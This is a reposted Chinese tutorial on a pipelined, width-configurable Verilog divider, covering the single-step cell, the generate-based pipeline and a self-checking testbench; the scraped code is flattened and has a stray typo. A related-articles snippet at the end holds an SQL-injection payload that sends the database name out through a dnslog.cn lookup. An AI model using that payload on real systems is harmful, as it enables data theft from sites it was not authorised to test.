【Verilog 教程】7.1Verilog 除法器设计

除法器原理(定点)
和十进制除法类似,计算 27 除以 5 的过程如下所示:

在这里插入图片描述
除法运算过程如下:

(1) 取被除数的高几位数据,位宽和除数相同(实例中是 3bit 数据)。
(2) 将被除数高位数据与除数作比较,如果前者不小于后者,则可得到对应位的商为 1,两者做差得到第一步的余数;否则得到对应的商为 0,将前者直接作为余数。
(3) 将上一步中的余数与被除数剩余最高位 1bit 数据拼接成新的数据,然后再和除数做比较。可以得到新的商和余数。
(4) 重复过程 (3),直到被除数最低位数据也参与计算。
需要说明的是,商的位宽应该与被除数保持一致,因为除数有可能为1。所以上述手动计算除法的实例中,第一步做比较时,应该取数字 27 最高位 1 (3’b001) 与 3’b101 做比较。 根据此计算过程,设计位宽可配置的流水线式除法器,流水延迟周期个数与被除数位宽一致。

除法器设计
单步运算设计

单步除法计算时,单步被除数位宽(信号 dividend)需比原始除数(信号 divisor)位宽多 1bit 才不至于溢出。

为了便于流水,输出端需要有寄存器来存储原始的除数(信号 divisor 和 divisor_kp)和被除数信息(信号 dividend_ci 和 dividend_kp)。

单步的运算结果就是得到新的 1bit 商数据(信号 merchant)和余数(信号 remainder)。

为了得到最后的除法结果,新的 1bit 商数据(信号 merchant)还需要与上一周期的商结果(merchant_ci)进行移位累加。

单步运算单元设计如下(文件名 divider_cell.v):

// parameter M means the actual width of divisor
module    divider_cell#(parameter N=5,parameter M=3)(input                     clk,input                     rstn,input                     en,input [M:0]               dividend,input [M-1:0]             divisor,input [N-M:0]             merchant_ci , //上一级输出的商input [N-M-1:0]           dividend_ci , //原始除数output reg [N-M-1:0]      dividend_kp,  //原始被除数信息output reg [M-1:0]        divisor_kp,   //原始除数信息output reg                rdy ,output reg [N-M:0]        merchant ,  //运算单元输出商output reg [M-1:0]        remainder   //运算单元输出余数);always @(posedge clk or negedge rstn) beginif (!rstn) beginrdy            <= 'b0 ;merchant       <= 'b0 ;remainder      <= 'b0 ;divisor_kp     <= 'b0 ;dividend_kp    <= 'b0 ;endelse if (en) beginrdy            <= 1'b1 ;divisor_kp     <= divisor ;  //原始除数保持不变dividend_kp    <= dividend_ci ;  //原始被除数传递if (dividend >= {1'b0, divisor}) beginmerchant    <= (merchant_ci<<1) + 1'b1 ; //商为1remainder   <= dividend - {1'b0, divisor} ; //求余endelse beginmerchant    <= merchant_ci<<1 ;  //商为0remainder   <= dividend ;        //余数不变endend // if (en)else beginrdy            <= 'b0 ;merchant       <= 'b0 ;remainder      <= 'b0 ;divisor_kp     <= 'b0 ;dividend_kp    <= 'b0 ;endend endmodule

流水级例化

将单步计算的余数(信号 remainder)和原始被除数(信号 dividend)对应位的 1bit 数据重新拼接,作为新的单步被除数输入到下一级单步除法计算单元。

其中,被除数、除数、及商的数据信息也要在下一级运算单元中传递。

流水级模块例化完成除法的设计如下(文件名 divider_man.v):

//parameter N means the actual width of dividend
//using 29/5=5...4
module    divider_man#(parameter N=5,parameter M=3,parameter N_ACT = M+N-1)(input                     clk,input                     rstn,input                     data_rdy ,  //数据使能input [N-1:0]             dividend,   //被除数input [M-1:0]             divisor,    //除数output                    res_rdy ,output [N_ACT-M:0]        merchant ,  //商位宽:Noutput [M-1:0]            remainder ); //最终余数wire [N_ACT-M-1:0]   dividend_t [N_ACT-M:0] ;wire [M-1:0]         divisor_t [N_ACT-M:0] ;wire [M-1:0]         remainder_t [N_ACT-M:0];wire [N_ACT-M:0]     rdy_t ;wire [N_ACT-M:0]     merchant_t [N_ACT-M:0] ;//初始化首个运算单元divider_cell      #(.N(N_ACT), .M(M))u_divider_step0( .clk              (clk),.rstn             (rstn),.en               (data_rdy),//用被除数最高位 1bit 数据做第一次单步运算的被除数,高位补0.dividend         ({{(M){1'b0}}, dividend[N-1]}), .divisor          (divisor),                  .merchant_ci      ({(N_ACT-M+1){1'b0}}),   //商初始为0.dividend_ci      (dividend[N_ACT-M-1:0]), //原始被除数//output.dividend_kp      (dividend_t[N_ACT-M]),   //原始被除数信息传递.divisor_kp       (divisor_t[N_ACT-M]),    //原始除数信息传递.rdy              (rdy_t[N_ACT-M]),.merchant         (merchant_t[N_ACT-M]),   //第一次商结果.remainder        (remainder_t[N_ACT-M])   //第一次余数);genvar               i ;generatefor(i=1; i<=N_ACT-M; i=i+1) begin: sqrt_stepxdivider_cell      #(.N(N_ACT), .M(M))u_divider_step(.clk              (clk),.rstn             (rstn),.en               (rdy_t[N_ACT-M-i+1]),.dividend         ({remainder_t[N_ACT-M-i+1], dividend_t[N_ACT-M-i+1][N_ACT-M-i]}),   //余数与原始被除数单bit数据拼接.divisor          (divisor_t[N_ACT-M-i+1]),.merchant_ci      (merchant_t[N_ACT-M-i+1]), .dividend_ci      (dividend_t[N_ACT-M-i+1]), //output.divisor_kp       (divisor_t[N_ACT-M-i]),.dividend_kp      (dividend_t[N_ACT-M-i]),.rdy              (rdy_t[N_ACT-M-i]),.merchant         (merchant_t[N_ACT-M-i]),.remainder        (remainder_t[N_ACT-M-i]));end // block: sqrt_stepxendgenerateassign res_rdy       = rdy_t[0];assign merchant      = merchant_t[0];  //最后一次商结果作为最终的商assign remainder     = remainder_t[0]; //最后一次余数作为最终的余数endmodule

testbench

取被除数位宽为 5,除数位宽为 3,testbench 中加入自校验,描述如下:

`timescale 1ns/1nsmodule test ;parameter    N = 5 ;parameter    M = 3 ;reg          clk;reg          rstn ;reg          data_rdy ;reg [N-1:0]  dividend ;reg [M-1:0]  divisor ;wire         res_rdy ;wire [N-1:0] merchant ;wire [M-1:0] remainder ;//clockalways beginclk = 0 ; #5 ;clk = 1 ; #5 ;end//driverinitial beginrstn      = 1'b0 ;#8 ;rstn      = 1'b1 ;#55 ;@(negedge clk ) ;data_rdy  = 1'b1 ;dividend  = 25;      divisor      = 5;#10 ;   dividend  = 16;      divisor      = 3;#10 ;   dividend  = 10;      divisor      = 4;#10 ;   dividend  = 15;      divisor      = 1;repeat(32)    #10   dividend   = dividend + 1 ;divisor      = 7;repeat(32)    #10   dividend   = dividend + 1 ;divisor      = 5;repeat(32)    #10   dividend   = dividend + 1 ;divisor      = 4;repeat(32)    #10   dividend   = dividend + 1 ;divisor      = 6;repeat(32)    #10   dividend   = dividend + 1 ;end//对输入延迟,便于数据结果同周期对比,完成自校验reg  [N-1:0]   dividend_ref [N-1:0];reg  [M-1:0]   divisor_ref [N-1:0];always @(posedge clk) begindividend_ref[0] <= dividend ;divisor_ref[0]  <= divisor ;endgenvar         i ;generatefor(i=1; i<=N-1; i=i+1) beginalways @(posedge clk) begindividend_ref[i] <= dividend_ref[i-1];divisor_ref[i]  <= divisor_ref[i-1];endendendgenerate//自校验reg  error_flag ;always @(posedge clk) begin# 1 ;if (merchant * divisor_ref[N-1] + remainder != dividend_ref[N-1] && res_rdy) beginb      //testbench 中可直接用乘号而不考虑运算周期error_flag <= 1'b1 ;endelse beginerror_flag <= 1'b0 ;endend//module instantiationdivider_man  #(.N(N), .M(M))u_divider(.clk              (clk),.rstn             (rstn),.data_rdy         (data_rdy),.dividend         (dividend),.divisor          (divisor),.res_rdy          (res_rdy),.merchant         (merchant),.remainder        (remainder));//simulation finishinitial beginforever begin#100;if ($time >= 10000)  $finish ;endendendmodule // test

仿真结果

由图可知,2 个输入数据在延迟了和被除数相同位宽的周期数以后,输出了正确的除法结果。而且可流水式无延迟输出,符合设计。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/127049.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT基础入门——界面布局和常用控件(四)

前言&#xff1a; 所谓 GUI 界面&#xff0c;归根结底&#xff0c;就是一堆组件的叠加。我们创建一个窗口&#xff0c;把按钮放上面&#xff0c;把图标放上面&#xff0c;这样就成了一个界面。在放置时&#xff0c;组件的位置尤其重要。我们必须要指定组件放在哪里&#xff0c…

手把手教你编写LoadRunner脚本

编写 LoadRunner 脚本需要熟悉脚本语言、业务场景、参数化技术、断言和事务等基础知识。 在实际编写时&#xff0c;可以根据具体测试需求&#xff0c;结合实际情况进行合理的配置和调整。 基本步骤 创建脚本 在 LoadRunner 的 Controller 模块中&#xff0c;创建一个新的测试…

Python之字符串分割替换移除

Python之字符串分割替换移除 分割 split(sepNone, maxsplit-1) -> list of strings 从左至右sep 指定分割字符串&#xff0c;缺省的情况下空白字符串作为分隔符maxsplit 指定分割的次数&#xff0c;-1 表示遍历整个字符串立即返回列表 rsplit(sepNone, maxsplit-1) -> …

Pytorch目标分类深度学习自定义数据集训练

目录 一&#xff0c;Pytorch简介&#xff1b; 二&#xff0c;环境配置&#xff1b; 三&#xff0c;自定义数据集&#xff1b; 四&#xff0c;模型训练&#xff1b; 五&#xff0c;模型验证&#xff1b; 一&#xff0c;Pytorch简介&#xff1b; PyTorch是一个开源的Python机…

Angular学习笔记:路由

本文是自己的学习笔记&#xff0c;主要参考资料如下。 - B站《Angular全套实战教程》&#xff0c;达内官方账号制作&#xff0c;https://www.bilibili.com/video/BV1i741157Fj?https://www.bilibili.com/video/BV1R54y1J75g/?p32&vd_sourceab2511a81f5c634b6416d4cc1067…

【红日靶场】vulnstack3-完整渗透过程

系列文章目录 【红日靶场】vulnstack1-完整渗透过程 【红日靶场】vulnstack2-完整渗透过程 【红日靶场】vulnstack3-完整渗透过程 文章目录 系列文章目录基本信息环境配置开始渗透信息收集暴力破解漏洞利用绕过内网信息收集尝试上线msf上线msf横向移动msf 传达会话给cs横向到域…

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上&#xff1a; 1、打开 http://www.dnslog.cn 获取域名 2、注入&#xff1a; ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显&#xff1a;

接口测试复习Requests PyMysql Dubbo

一。基本概念 接口概念&#xff1a;系统与系统之间 数据交互的通道。 接⼝测试概念&#xff1a;校验 预期结果 与 实际结果 是否⼀致。 特征&#xff1a; 测试⻚⾯测试发现不了的问题。&#xff08;因为&#xff1a;接⼝测试 绕过前端界⾯。 &#xff09; 符合质量控制前移理…

linux系统中常见注册函数的使用方法

大家好&#xff0c;今天给大家分享一下&#xff0c;linux系统中常见的注册函数register_chrdev_region()、register_chrdev()、 alloc_chrdev_region()的使用方法​。 一、函数包含的头文件&#xff1a; 分配设备编号&#xff0c;注册设备与注销设备的函数均在fs.h中申明&…

Django实战项目-学习任务系统-用户登录

第一步&#xff1a;先创建一个Django应用程序框架代码 1&#xff0c;先创建一个Django项目 django-admin startproject mysite将创建一个目录&#xff0c;其布局如下&#xff1a;mysite/manage.pymysite/__init__.pysettings.pyurls.pyasgi.pywsgi.py 2&#xff0c;再创建一个…

pyqt5使用经验总结

pyqt5环境配置注意&#xff1a; 安装pyqt5 pip install PyQt5 pyqt5-tools 环境变量-创建变量名&#xff1a; 健名&#xff1a;QT_QPA_PLATFORM_PLUGIN_PATH 值为&#xff1a;Lib\site-packages\PyQt5\Qt\plugins pyqt5经验2&#xff1a; 使用designer.exe进行设计&#xff1…

网络爬虫指南

一、定义 网络爬虫&#xff0c;是按照一定规则&#xff0c;自动抓取网页信息。爬虫的本质是模拟浏览器打开网页&#xff0c;从网页中获取我们想要的那部分数据。 二、Python为什么适合爬虫 Python相比与其他编程语言&#xff0c;如java&#xff0c;c#&#xff0c;C&#xff…